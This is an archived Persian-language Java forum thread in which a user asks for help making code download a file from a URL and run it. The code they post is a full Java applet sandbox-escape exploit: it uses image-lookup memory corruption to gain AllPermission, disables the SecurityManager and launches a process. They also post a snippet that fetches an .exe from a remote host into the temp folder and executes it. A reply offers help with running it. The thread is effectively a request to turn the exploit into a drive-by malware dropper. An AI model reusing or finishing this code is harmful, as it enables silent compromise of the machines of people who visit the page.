ورود

View Full Version : دانلود فایل با استفاده از جاوا



donia_h
یک شنبه 18 مرداد 1394, 15:14 عصر
سلام
کسی میتونه درمورد اینکه چطور یک فایل رو از یک url بگیرم و دانلود کنم و بعدش بتونه اجرا بشه کمکم کنه؟
این کدش هست ولی نمیدونم چرا برای url پاسخگو نیست یعنی قسمت دانلودش انجام نمیشه


import java.awt.image.*;
import java.beans.Statement;
import java.security.*;
import java.applet.*;




public class TestByteBI extends Applet {

public int numArrays_ = 10;
public final int arrayLength = 11;
public int[][] Arrays_;


public TestByteBI() {


}


public void init() {
go();
}

public void go() {
BufferedImage src, dst;

Kernel kernel;

try {
String name = "setSecurityManager";
Object[] o1 = new Object[1];
Object o2 = new Statement(System.class, name, o1); // make a dummy call for init

Arrays_ = new int[numArrays_][];

kernel = new Kernel(1,1, new float[]{1.0f, 1.0f, 1.0f, 1.0f});
byte[][] data = new byte[1][2000];
for (int i = 0; i < data.length; ++ i) {
for (int j = 0; j < data[i].length; ++ j) {
data[i][j] = 0x41;
}
}
ByteLookupTable lookupTable = new ByteLookupTable(0, data);

LookupOp op = new LookupOp(lookupTable, null);

int srcW = 20, srcH = 20;
int dstW = 7, dstH = 7;

src = new MyBufferedImage(srcW, srcH, dstW, dstH, BufferedImage.TYPE_USHORT_GRAY);

BufferedImage tmp = new BufferedImage(dstW, dstH, BufferedImage.TYPE_BYTE_GRAY);


DataBufferByte dstBuffer = new DataBufferByte(dstW * dstH);

for ( int i = 0; i < numArrays_; ++ i ) {
Arrays_[i] = new int[arrayLength];
for ( int j = 0; j < arrayLength; ++ j ) {
Arrays_[i][j] = 0x696b7579;
}
}

WritableRaster raster = Raster.createWritableRaster(tmp.getSampleModel(), dstBuffer, null);

dst = new BufferedImage(tmp.getColorModel(), raster, false, null);






Object[] oo = new Object[7];


oo[2] = new Statement(System.class, name, o1);


// create powerful AccessControlContext
Permissions ps = new Permissions();
ps.add(new AllPermission());


oo[3] = new AccessControlContext(
new ProtectionDomain[]{
new ProtectionDomain(
new CodeSource(
new java.net.URL("file:///"),
new java.security.cert.Certificate[0]
),
ps
)
}
);


// store System.class pointer in oo[]
oo[4] = ((Statement)oo[2]).getTarget();

op.filter(src, dst);

int[] a = null;

for ( int i = 0; i < numArrays_; ++ i ) {
if ( Arrays_[i] != null && Arrays_[i].length > arrayLength ) {
a = Arrays_[i];
break;
}
}

if ( null == a ) {
System.out.println( "Failed to overwrite array length!" );
return;
}


boolean found = false;
int ooLen = oo.length;
for(int i=arrayLength+2; i < a.length; i++)
if (a[i-1]==ooLen && a[i]==0 && a[i+1]==0 // oo[0]==null && oo[1]==null
&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null
&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null
{
// read pointer from oo[4]
int stmTrg = a[i+4];
// search for the Statement.target field behind oo[]
for(int j=i+7; j < i+7+64; j++){
if (a[j] == stmTrg) {
// overwrite default Statement.acc by oo[3] ("AllPermission")
a[j-1] = a[i+3];
found = true;
break;
}
}
if (found) break;
}


// check results
if (!found) {
System.out.println( "Failed to find object array!" );
} else try {
// show current SecurityManager
System.out.println("Security Manager = " + System.getSecurityManager());


// call System.setSecurityManager(null)
((Statement)oo[2]).execute();


// show results: SecurityManager should be null
System.out.println("Security Manager = " + System.getSecurityManager());

Runtime.getRuntime().exec( "calc" );
} catch (Exception ex) {
ex.printStackTrace();
}
} catch (Exception ex) {
ex.printStackTrace();
}



}

public static void main(String[] args) {
new TestByteBI().go();
}


public static class MyBufferedImage extends BufferedImage {
private int fakeW_, fakeH_;

public MyBufferedImage(int w, int h, int fakeW, int fakeH, int type) {
super(w, h, type);

fakeW_ = fakeW;
fakeH_ = fakeH;
}

public int getWidth() {
return fakeW_;
}

public int getHeight() {
return fakeH_;
}
}
}






[/PHP]این کد رو هم برای اینکه فایل دانلود بشه و بره به مسیر temp پیدا کردم ولی اینم جواب نداد


try {
java.io.BufferedInputStream in = new java.io.BufferedInputStream(new java.net.URL("http://xxxxxx.com/test.exe").openStream());
java.io.FileOutputStream fos = new java.io.FileOutputStream(System.getProperty("java.io.tmpdir") + "/msgbox.exe");
java.io.BufferedOutputStream bout = new BufferedOutputStream(fos, 1024);
byte[] data = new byte[1024];
int x = 0;
while ((x = in.read(data, 0, 1024)) >= 0) {
bout.write(data, 0, x);
}
bout.close();
in.close();
p = Runtime.getRuntime().exec(System.getProperty("java.io.tmpdir") + "/msgbox.exe");
if (p == null) {
System.out.println("Null process, crap");
}
p.waitFor();
} catch (Exception e) {
// System.out.println(e);
}

MohseN16
دوشنبه 19 مرداد 1394, 14:33 عصر
کد دوم برای کاری ک میخواد برنامه انجام بده کافیه فک کنم فقط باید توی متد مین بزارینش و اجرا کنید.در ظمن اگه برنامه درست اجرا نمیشه یا ارور میده شما باید متن ارور و اینجا بنویسید تا ما بتونیم بفهمیم مشکلش چیه.

donia_h
دوشنبه 19 مرداد 1394, 16:17 عصر
کد دوم برای کاری ک میخواد برنامه انجام بده کافیه فک کنم فقط باید توی متد مین بزارینش و اجرا کنید.در ظمن اگه برنامه درست اجرا نمیشه یا ارور میده شما باید متن ارور و اینجا بنویسید تا ما بتونیم بفهمیم مشکلش چیه.

نمیتونم فقط از کد دوم استفاده کنم باید کدهای اصلیش باشن این کدها رو هم که اضافه میکنم هیچ اروری نمیده ولی عملا فایلی دانلود نمیشه یعنی به مسیر temp نمیره !!!
این قسمت مربوط به دانلودشه که برای فایل های local پاسخگو هست ولی برای remote نه!!}

oo[3] = new AccessControlContext(
new ProtectionDomain[]{
new ProtectionDomain(
new CodeSource(
new java.net.URL("http://localhost/1.exe"),
new java.security.cert.Certificate[0]
),
ps
)
}
);